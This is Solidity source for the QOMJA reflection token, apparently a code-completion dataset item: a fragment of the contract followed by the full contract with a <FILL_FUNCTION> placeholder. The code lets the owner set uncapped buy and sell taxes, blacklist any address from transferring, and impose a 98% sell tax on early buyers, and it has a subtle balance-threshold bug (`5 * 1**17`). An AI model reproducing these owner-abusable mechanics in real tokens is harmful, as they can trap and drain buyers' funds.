tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
if(buyOrSellSwitch == BUY){
tokensForMarketing += tLiquidity * taxBuyMarketing / _divForLiq;
tokensForOther += tLiquidity * taxBuyOther / _divForLiq;
tokensForLiquidity += tLiquidity * taxBuyLiquidity / _divForLiq;
} else if(buyOrSellSwitch == SELL){
tokensForMarketing += tLiquidity * taxSellMarketing / _divForLiq;
tokensForOther += tLiquidity * taxSellOther / _divForLiq;
tokensForLiquidity += tLiquidity * taxSellLiquidity / _divForLiq;
}
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_reflectionsTax).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityTax + _marketingTax + _otherTax).div(10**2);
}
function _approve(address owner,address spender,uint256 amount) private {
require(owner != address(0), "ERC20: approve from zero address");
require(spender != address(0), "ERC20: approve to zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isBot[from]);
if (maxWalletOn == true && ! _isMaxWalletExclude[to]) {
require(balanceOf(to) + amount <= _maxWallet, "Max amount of tokens for wallet reached");
}
if(_initiateTrades == true) {
IUniswapV2Router02 _uniV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniV2Router = _uniV2Router;
uniV2Pair = IUniswapV2Factory(_uniV2Router.factory()).getPair(address(this), _uniV2Router.WETH());
activeTradingBlock = block.number;
earlyBuyPenaltyEnd = block.timestamp + 127 hours;
_isMaxWalletExclude[address(uniV2Pair)] = true;
_isMaxWalletExclude[address(uniV2Router)] = true;
_isExcludedMaxTxnAmount[address(uniV2Router)] = true;
_isExcludedMaxTxnAmount[address(uniV2Pair)] = true;
limitsOn = true;
maxWalletOn = true;
swapAndLiquifyEnabled = true;
_initiateTrades = false;
}
if(limitsOn){
if (from != owner() && to != owner() && to != address(0) && to != dead && !inSwapAndLiquify) {
if(from != owner() && to != uniV2Pair) {
for (uint x = 0; x < 2; x++) {
if(block.number == activeTradingBlock + x) {
isSniper[to] = true;
}
}
}
}
}
uint256 totalTokensToSwap = tokensForLiquidity.add(tokensForMarketing);
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= _minTaxSwap;
if (!inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniV2Pair) > 0 && totalTokensToSwap > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && to == uniV2Pair && overMinimumTokenBalance) {
swapTokens();
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
buyOrSellSwitch = TRANSFER;
} else {
if (from == uniV2Pair) {
removeAllFee();
_marketingTax = taxBuyMarketing;
_otherTax = taxBuyOther;
_reflectionsTax = taxBuyReflections;
_liquidityTax = taxBuyLiquidity;
buyOrSellSwitch = BUY;
}
else if (to == uniV2Pair) {
removeAllFee();
_marketingTax = taxSellMarketing;
_otherTax = taxSellOther;
_reflectionsTax = taxSellReflections;
_liquidityTax = taxSellLiquidity;
buyOrSellSwitch = SELL;
if(isSniper[from] && earlyBuyPenaltyEnd >= block.timestamp){
_marketingTax = 98;
}
} else {
require(!isSniper[from]);
removeAllFee();
buyOrSellSwitch = TRANSFER;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokens() private lockTheSwap {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForMarketing + tokensForLiquidity + tokensForOther;
uint256 swapLiquidityTokens = tokensForLiquidity.div(2);
uint256 amountToSwapForETH = contractBalance.sub(swapLiquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForETH(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForOther = ethBalance.mul(tokensForOther).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance.sub(ethForMarketing).sub(ethForOther);
tokensForMarketing = 0;
tokensForOther = 0;
tokensForLiquidity = 0;
(bool success,) = address(MarketingWallet).call{value: ethForMarketing}("");
(success,) = address(OtherWallet).call{value: ethForOther}("");
addLiquidity(swapLiquidityTokens, ethForLiquidity);
if(address(this).balance > 5 * 1**17){
(success,) = address(DevWallet).call{value: address(this).balance}("");
}
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniV2Router.WETH();
_approve(address(this), address(uniV2Router), tokenAmount);
uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniV2Router), tokenAmount);
uniV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
dead,
block.timestamp
);
}
function removeAllFee() private {
if (_liquidityTax == 0 && _marketingTax == 0 && _otherTax == 0 && _reflectionsTax == 0) return;
_previousLiquidityTax = _liquidityTax;
_previousMarketingTax = _marketingTax;
_previousOtherTax = _otherTax;
_previousReflectionsTax = _reflectionsTax;
_marketingTax = 0;
_otherTax = 0;
_reflectionsTax = 0;
_liquidityTax = 0;
}
function restoreAllFee() private {
_marketingTax = _previousMarketingTax;
_otherTax = _previousOtherTax;
_reflectionsTax = _previousReflectionsTax;
_liquidityTax = _previousLiquidityTax;
}
function _tokenTransfer(address sender,address recipient,uint256 amount,bool takeFee) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender,address recipient,uint256 tAmount) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender,address recipient,uint256 tAmount) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender,address recipient,uint256 tAmount) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender,address recipient,uint256 tAmount) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _tokenTransferNoFee(address sender,address recipient,uint256 amount) private {
_rOwned[sender] = _rOwned[sender].sub(amount);
_rOwned[recipient] = _rOwned[recipient].add(amount);
if (_isExcluded[sender]) {
_tOwned[sender] = _tOwned[sender].sub(amount);
}
if (_isExcluded[recipient]) {
_tOwned[recipient] = _tOwned[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function excludeFromMaxWallet(address account) external onlyOwner {
_isMaxWalletExclude[account] = true;
}
function includeInMaxWallet(address account) external onlyOwner {
_isMaxWalletExclude[account] = false;
}
function isExcludedFromMaxWallet(address account) public view returns (bool) {
return _isMaxWalletExclude[account];
}
function BotAddToList(address _user) public onlyOwner {
require(!isBot[_user]);
isBot[_user] = true;
}
function BotRemoveFromList(address _user) public onlyOwner {
require(isBot[_user]);
isBot[_user] = false;
}
function removeSniper(address account) external onlyOwner {
isSniper[account] = false;
}
function executeLimits() external onlyOwner {
limitsOn = true;
}
function LimitRemovalExecution() external onlyOwner {
limitsOn = false;
}
function INITIATE() external onlyOwner {
_initiateTrades = true;
}
function STOPINITIATE() external onlyOwner {
_initiateTrades = false;
}
function TaxSwapEnable() external onlyOwner {
swapAndLiquifyEnabled = true;
}
function TaxSwapDisable() external onlyOwner {
swapAndLiquifyEnabled = false;
}
function enableMaxWallet() external onlyOwner {
maxWalletOn = true;
}
function disableMaxWallet() external onlyOwner {
maxWalletOn = false;
}
function setBuyTax(uint256 _buyMarketingTax, uint256 _buyLiquidityTax, uint256 _buyOtherTax, uint256 _buyReflectionsTax) external onlyOwner {
taxBuyMarketing = _buyMarketingTax;
taxBuyLiquidity = _buyLiquidityTax;
taxBuyOther = _buyOtherTax;
taxBuyReflections = _buyReflectionsTax;
}
function setSellTax(uint256 _sellMarketingTax, uint256 _sellLiquidityTax, uint256 _sellOtherTax, uint256 _sellReflectionsTax) external onlyOwner {
taxSellMarketing = _sellMarketingTax;
taxSellLiquidity = _sellLiquidityTax;
taxSellOther = _sellOtherTax;
taxSellReflections = _sellReflectionsTax;
}
function forceSwapBack() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
require(contractBalance >= _tTotal * 5 / 10000, "Can only swap back if more than 0.05% of tokens stuck on contract");
swapTokens();
emit OwnerForcedSwapBack(block.timestamp);
}
function withdrawDevETH() public onlyOwner {
bool success;
(success,) = address(DevWallet).call{value: address(this).balance}("");
}
function manualBurnTokens(uint256 percent) external onlyOwner returns (bool){
require(percent <= 10, "May not nuke more than 10% of tokens in LP");
uint256 liquidityPairBalance = this.balanceOf(uniV2Pair);
uint256 amountToBurn = liquidityPairBalance * percent / 10**2;
if (amountToBurn > 0){
_transfer(uniV2Pair, dead, amountToBurn);
}
totalBurnedTokens = balanceOf(dead);
require(totalBurnedTokens <= _tTotal * 50 / 10**2, "Can not burn more then 50% of supply");
IUniswapV2Pair pair = IUniswapV2Pair(uniV2Pair);
pair.sync();
return true;
}
} | contract QOMJA is Context, IERC20, ERC20Ownable {
using SafeMath for uint256;
string private constant _na = "QOMJA";
string private constant _sym = "QOMJA";
uint8 private constant _deci = 18;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily
mapping(address => bool) private _isExcluded;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isMaxWalletExclude;
mapping (address => bool) private _isExcludedMaxTxnAmount;
mapping (address => bool) public isBot;
mapping(address => bool) public isSniper;
address payable private MarketingWallet;
address payable private OtherWallet;
address payable private DevWallet;
address dead = address(0xdead);
IUniswapV2Router02 public uniV2Router;
address public uniV2Pair;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e14 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _maxWallet;
uint256 private _minTaxSwap;
uint256 private tokensForMarketing;
uint256 private tokensForOther;
uint256 private tokensForLiquidity;
uint256 private totalBurnedTokens;
uint256 private constant BUY = 1;
uint256 private constant SELL = 2;
uint256 private constant TRANSFER = 3;
uint256 private buyOrSellSwitch;
uint256 private _marketingTax = 5;
uint256 private _previousMarketingTax = _marketingTax;
uint256 private _otherTax = 5;
uint256 private _previousOtherTax = _otherTax;
uint256 private _reflectionsTax = 0;
uint256 private _previousReflectionsTax = _reflectionsTax;
uint256 private _liquidityTax = 2;
uint256 private _previousLiquidityTax = _liquidityTax;
uint256 private _divForLiq = _marketingTax + _liquidityTax + _otherTax;
uint256 public taxBuyMarketing = 5;
uint256 public taxBuyOther = 5;
uint256 public taxBuyReflections = 0;
uint256 public taxBuyLiquidity = 2;
uint256 public taxSellMarketing = 3;
uint256 public taxSellOther = 5;
uint256 public taxSellReflections = 0;
uint256 public taxSellLiquidity = 2;
uint256 public activeTradingBlock = 0;
uint256 public earlyBuyPenaltyEnd;
uint256 public maxTxnAmount;
bool public limitsOn = false;
bool private _initiateTrades = true;
bool public maxWalletOn = false;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event OwnerForcedSwapBack(uint256 timestamp);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
_rOwned[_msgSender()] = _rTotal;
maxTxnAmount = _tTotal / 100;
_maxWallet = _tTotal * 2 / 100;
_minTaxSwap = _tTotal * 5 / 10000;
MarketingWallet = payable(0x1AFE935feF2B2A950ceF26b98aFBbE0d0502BaD6);
OtherWallet = payable(0x4B1274EA3C0230afEc3b27e05e5869f421A35526);
DevWallet = payable(0x28D22451370fB339797Fa5da085efb61a16D6F50);
_isExcluded[dead] = true;
_isExcludedFromFee[_msgSender()] = true;
_isExcludedFromFee[dead] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketingWallet] = true;
_isExcludedFromFee[OtherWallet] = true;
_isExcludedFromFee[DevWallet] = true;
_isMaxWalletExclude[address(this)] = true;
_isMaxWalletExclude[_msgSender()] = true;
_isMaxWalletExclude[dead] = true;
_isMaxWalletExclude[MarketingWallet] = true;
_isMaxWalletExclude[OtherWallet] = true;
_isMaxWalletExclude[DevWallet] = true;
BotAddToList(0x41B0320bEb1563A048e2431c8C1cC155A0DFA967);
BotAddToList(0x91B305F0890Fd0534B66D8d479da6529C35A3eeC);
BotAddToList(0x7F5622afb5CEfbA39f96CA3b2814eCF0E383AAA4);
BotAddToList(0xfcf6a3d7eb8c62a5256a020e48f153c6D5Dd6909);
BotAddToList(0x74BC89a9e831ab5f33b90607Dd9eB5E01452A064);
BotAddToList(0x1F53592C3aA6b827C64C4a3174523182c52Ece84);
BotAddToList(0x460545C01c4246194C2e511F166D84bbC8a07608);
BotAddToList(0x2E5d67a1d15ccCF65152B3A8ec5315E73461fBcd);
BotAddToList(0xb5aF12B837aAf602298B3385640F61a0fF0F4E0d);
BotAddToList(0xEd3e444A30Bd440FBab5933dCCC652959DfCB5Ba);
BotAddToList(0xEC366bbA6266ac8960198075B14FC1D38ea7de88);
BotAddToList(0x10Bf6836600D7cFE1c06b145A8Ac774F8Ba91FDD);
BotAddToList(0x44ae54e28d082C98D53eF5593CE54bB231e565E7);
BotAddToList(0xa3e820006F8553d5AC9F64A2d2B581501eE24FcF);
BotAddToList(0x2228476AC5242e38d5864068B8c6aB61d6bA2222);
BotAddToList(0xcC7e3c4a8208172CA4c4aB8E1b8B4AE775Ebd5a8);
BotAddToList(0x5b3EE79BbBDb5B032eEAA65C689C119748a7192A);
BotAddToList(0x4ddA45d3E9BF453dc95fcD7c783Fe6ff9192d1BA);
emit Transfer(address(0), _msgSender(), _tTotal);
}
receive() external payable {}
function name() public pure override returns (string memory) {
return _na;
}
function symbol() public pure override returns (string memory) {
return _sym;
}
function decimals() public pure override returns (uint8) {
return _deci;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,address recipient,uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")
);
return true;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) {
require(tAmount <= _tTotal, "Amt must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, "Amt must be less than tot refl");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
<FILL_FUNCTION>
function _getValues(uint256 tAmount) private view returns (uint256,uint256,uint256,uint256,uint256,uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount)private view returns (uint256,uint256,uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount,uint256 tFee,uint256 tLiquidity,uint256 currentRate) private pure returns (uint256,uint256,uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
if(buyOrSellSwitch == BUY){
tokensForMarketing += tLiquidity * taxBuyMarketing / _divForLiq;
tokensForOther += tLiquidity * taxBuyOther / _divForLiq;
tokensForLiquidity += tLiquidity * taxBuyLiquidity / _divForLiq;
} else if(buyOrSellSwitch == SELL){
tokensForMarketing += tLiquidity * taxSellMarketing / _divForLiq;
tokensForOther += tLiquidity * taxSellOther / _divForLiq;
tokensForLiquidity += tLiquidity * taxSellLiquidity / _divForLiq;
}
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_reflectionsTax).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityTax + _marketingTax + _otherTax).div(10**2);
}
function _approve(address owner,address spender,uint256 amount) private {
require(owner != address(0), "ERC20: approve from zero address");
require(spender != address(0), "ERC20: approve to zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isBot[from]);
if (maxWalletOn == true && ! _isMaxWalletExclude[to]) {
require(balanceOf(to) + amount <= _maxWallet, "Max amount of tokens for wallet reached");
}
if(_initiateTrades == true) {
IUniswapV2Router02 _uniV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniV2Router = _uniV2Router;
uniV2Pair = IUniswapV2Factory(_uniV2Router.factory()).getPair(address(this), _uniV2Router.WETH());
activeTradingBlock = block.number;
earlyBuyPenaltyEnd = block.timestamp + 127 hours;
_isMaxWalletExclude[address(uniV2Pair)] = true;
_isMaxWalletExclude[address(uniV2Router)] = true;
_isExcludedMaxTxnAmount[address(uniV2Router)] = true;
_isExcludedMaxTxnAmount[address(uniV2Pair)] = true;
limitsOn = true;
maxWalletOn = true;
swapAndLiquifyEnabled = true;
_initiateTrades = false;
}
if(limitsOn){
if (from != owner() && to != owner() && to != address(0) && to != dead && !inSwapAndLiquify) {
if(from != owner() && to != uniV2Pair) {
for (uint x = 0; x < 2; x++) {
if(block.number == activeTradingBlock + x) {
isSniper[to] = true;
}
}
}
}
}
uint256 totalTokensToSwap = tokensForLiquidity.add(tokensForMarketing);
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= _minTaxSwap;
if (!inSwapAndLiquify && swapAndLiquifyEnabled && balanceOf(uniV2Pair) > 0 && totalTokensToSwap > 0 && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && to == uniV2Pair && overMinimumTokenBalance) {
swapTokens();
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
buyOrSellSwitch = TRANSFER;
} else {
if (from == uniV2Pair) {
removeAllFee();
_marketingTax = taxBuyMarketing;
_otherTax = taxBuyOther;
_reflectionsTax = taxBuyReflections;
_liquidityTax = taxBuyLiquidity;
buyOrSellSwitch = BUY;
}
else if (to == uniV2Pair) {
removeAllFee();
_marketingTax = taxSellMarketing;
_otherTax = taxSellOther;
_reflectionsTax = taxSellReflections;
_liquidityTax = taxSellLiquidity;
buyOrSellSwitch = SELL;
if(isSniper[from] && earlyBuyPenaltyEnd >= block.timestamp){
_marketingTax = 98;
}
} else {
require(!isSniper[from]);
removeAllFee();
buyOrSellSwitch = TRANSFER;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokens() private lockTheSwap {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForMarketing + tokensForLiquidity + tokensForOther;
uint256 swapLiquidityTokens = tokensForLiquidity.div(2);
uint256 amountToSwapForETH = contractBalance.sub(swapLiquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForETH(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForOther = ethBalance.mul(tokensForOther).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance.sub(ethForMarketing).sub(ethForOther);
tokensForMarketing = 0;
tokensForOther = 0;
tokensForLiquidity = 0;
(bool success,) = address(MarketingWallet).call{value: ethForMarketing}("");
(success,) = address(OtherWallet).call{value: ethForOther}("");
addLiquidity(swapLiquidityTokens, ethForLiquidity);
if(address(this).balance > 5 * 1**17){
(success,) = address(DevWallet).call{value: address(this).balance}("");
}
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniV2Router.WETH();
_approve(address(this), address(uniV2Router), tokenAmount);
uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniV2Router), tokenAmount);
uniV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
dead,
block.timestamp
);
}
function removeAllFee() private {
if (_liquidityTax == 0 && _marketingTax == 0 && _otherTax == 0 && _reflectionsTax == 0) return;
_previousLiquidityTax = _liquidityTax;
_previousMarketingTax = _marketingTax;
_previousOtherTax = _otherTax;
_previousReflectionsTax = _reflectionsTax;
_marketingTax = 0;
_otherTax = 0;
_reflectionsTax = 0;
_liquidityTax = 0;
}
function restoreAllFee() private {
_marketingTax = _previousMarketingTax;
_otherTax = _previousOtherTax;
_reflectionsTax = _previousReflectionsTax;
_liquidityTax = _previousLiquidityTax;
}
function _tokenTransfer(address sender,address recipient,uint256 amount,bool takeFee) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender,address recipient,uint256 tAmount) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender,address recipient,uint256 tAmount) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender,address recipient,uint256 tAmount) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender,address recipient,uint256 tAmount) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _tokenTransferNoFee(address sender,address recipient,uint256 amount) private {
_rOwned[sender] = _rOwned[sender].sub(amount);
_rOwned[recipient] = _rOwned[recipient].add(amount);
if (_isExcluded[sender]) {
_tOwned[sender] = _tOwned[sender].sub(amount);
}
if (_isExcluded[recipient]) {
_tOwned[recipient] = _tOwned[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function excludeFromMaxWallet(address account) external onlyOwner {
_isMaxWalletExclude[account] = true;
}
function includeInMaxWallet(address account) external onlyOwner {
_isMaxWalletExclude[account] = false;
}
